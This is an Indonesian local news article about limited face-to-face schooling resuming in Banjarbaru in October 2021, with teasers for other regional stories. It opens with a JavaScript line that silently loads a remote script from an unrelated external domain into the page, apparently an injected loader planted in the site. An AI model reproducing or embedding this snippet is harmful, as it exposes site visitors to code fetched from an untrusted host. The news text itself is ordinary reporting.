(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dua tahun tak rasakan bangku sekolah, siswa SD dan SMP di Kota Banjarbaru akhirnya akan kembali ke sekolah. Meski tak semua sekolah membuka kelas tatap muka, semua SMP dan sebagian SD yang menggelar PTM.
Ya, Pembelajaran Tatap Muka (PTM) terbatas di Kota Banjarbaru segera digelar pada poekan kedua Oktober ini.
Simulasi kegiatan PTM diadakan di SDN 2 Loktabat Selatan ditinjau langsung Wali Kota, Aditya Mufti Ariffin dan Wakil Wali Kota Wartono bersama beberapa Kepala SKPD Kota Banjarbaru, Kamis (7/10/2021).
Kepada Dinas Pendidikan Dr Muhammad Aswan mengatakan, PTM akan dimulai pada Senin 11 Oktober 2021, akan diikuti 55 sekolah piloting yang dinilai sudah siap dalam penyediaan protokol kesehatan.
Baca juga: Mengamuk di Sungai Tabuk Saat Warga Tidur, Si Jago Merah Hanguskan 12 Rumah
“Semua SMP Negeri maupun swasta itu akan melakukan PTM, untuk SD dan TK kita tetapkan per kecamatan ada 3 sekolah. Kehadiran sekolah 2 kali dalam seminggu dengan kuota 30 persen,” beber Aswan.
Penijauan simulasi bertujuan untuk melihat kesiapan sekolah yang akan gelar piloting PTM. Diantaranya berupa tempat cuci tangan dan memastikan penggunaan masker kepada siswa sebelum masuk sekolah. Simulasi dilanjutkan dengan proses pembelajaran terbuka (outdoor) maupun tertutup (indoor)
Menurut Wali Kota Banjarbari, kesiapan PTM harus ekstra hati-hati dalam pelaksanaannya, jangan sampai ada klaster-klaster baru di sekolah. “Kita sudah bentuk tim evaluasi bersama BPBD Kota Banjarbaru untuk mengawasi PTM terbatas,” ujar Aditya.
“Kita akan lakukan penijauan dan penyemprotan disenfiktan secara berkala, kalau tidak ada halangan minggu depan bisa kita laksanakan,” sambungnya.
Kepada seluruh orangtua siswa untuk selalu menjaga dan melakukan pengawasan anak-anak ketika pulang sekolah.
Sementara itu, Ketua Forum Komite Sekolah SD se Kota Banjarbaru, Tarmidzi mengatakan, pihaknya sudah mendorong sedari awal untuk dilakukannya PTM di Kota Banjarbaru, karena banyaknya keluhan dari orangtua dan siswa yang sudah jenuh dalam belajar secara online.
“Kami mulai awal mendorong diadakannya PTM, ini merupakan kabar bahagia bagi kami beserta orang tua karena banyak siswa yang sudah jenuh dalam pembelajaran online ini,” ujarnya. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.